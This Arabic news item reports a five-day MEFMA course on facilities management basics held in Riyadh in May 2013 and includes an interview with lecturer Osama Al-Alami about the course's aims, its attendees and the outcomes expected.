كما اشتمل العدد على تغطية للمؤتمرات المنعقدة مؤخراً والتي تناولت العمل والبطالة ورؤية اقتصادية تناقش ما إذا كانت العلاقة بين معدلات نمو النشاظ الاقتصادي ومعدلات البطالة (قانون أوكن) قائمة أم لا في المملكة.

انطلقت صباح امس السبت 18 / مايو / 2013 في فندق التنفيذيين في الرياض دورة أساسيات إدارة المرافق والتي تنظمها MEFMA والتي تستمر لخمسة ايام ويناقش في هذه الدورة مفهوم ادارة المرافق  ومبادئه والنشاطات المشمولة فيه بحضور 23 شخصية تمثل  قطاعات عامة كالمستشفيات وقطاعات استثمارية وعقارية وايضا شركات صيانة متخصصة وموردين لخدمات ادارة المرافق  وشركات مقاولات غامة وسوف يتم تزويد جميع المشاركين في هذه الدورة بالمعرفة المكتسبة في أساسيات إدارة المرافق ويحاضر في هذه الدورة الاستاذ اسامة العلمي من شركة Rafaah والذي كان لنا معه هذا اللقاء :

المحرر / في البداية استاذ اسامة نرحب بك ونود ان نناقشك عن هذه الدورة

استاذ اسامة / مرحبا بكم

المحرر / سؤالنا الاول لكم استاذ اسامة ماهو الغرض من هذه الدورة ؟

استاذ اسامة / هو شرح مفهوم ادارة المرافق  ومبادئه والنشاطات المشمولة فيه وتعميق هذا المفهوم تماما في المشاركين الى جانب التعريف بالجهات والانشطة التي تتناول ادارة المرافق في  عالمنا العربي ودول الخليج بالذات .

المحرر / لمن وجهة هذه الدورة وكم عدد الحضور وماهي القطاعات التي يمثلونها  ؟

استاذ اسامة / الدورة يحضرها 23 شخص يمثلون قطاعات عامة كالمستشفيات وقطاعات استثمارية وعقارية وايضا شركات صيانة متخصصة وموردين لخدمات ادارة المرافق  وشركات مقاولات غامة وهؤلاء كلهم اهتماماتهم بشكل اكبر على مبادئ ادارة المرافق وكيفية تطبيق العمليات الحديثة في ادارة المرافق والاستفادة منها في تشر المهنة باعتبار انها تجتذب كمية كبيرة الان  من العاملين في قطاع الاعمار والقطاع العام والخاص في المملكة .

المحرر / ماهي النتائج المتوقعة من هذه الدورة؟

استاذ اسامة / من المتوقع استقطاب اكبر عدد ممكن من الشباب الذين يعملون والذين سيعملون بهذه القطاعات وبالذات الشباب السعودي الذين لديهم الرغبة الشديدة بالاطلاع على المعرفة اللازمة لهذا الموضوع وكذلك تسهيل مهمتهم وتعاملهم مع الجهات التي تشرف عليهم وتزويدهم بالمعرفة المكتسبة من جميع انحاء العالم وطرح امامهم تجارب مشابهة وتقصير خط الوصول لهم لخط مستقيم بدون اعوجاجات وهنا اشير الى ان هناك اهتمام كبير في السعودية بهذا الشي ولكن لم يتم تحديد معالمه بشكل واضح سواء للعاملين فيه او المستفيدين منه وهذه الدورات التي سوف نقدمها هذا العام سوف تتكرر وتتعدد مواضيعها وسوف يكون هناك ورش عمل واقعية وورش عمل  عن طريق التعليم الالكتروني لاي شخص وكذلك سوف يكون المجال مفتوح لطرح الاسئلة للجميع ويستطيع الشخص الاستفادة من الخدمات التي سوف تقدمها MEFMA في الخليج والعالم العربي .

المحرر / نشكر لكم استاذ اسامة على هذه المعلومات التي زودتنا بها

استاذ اسامة / شكرا لكم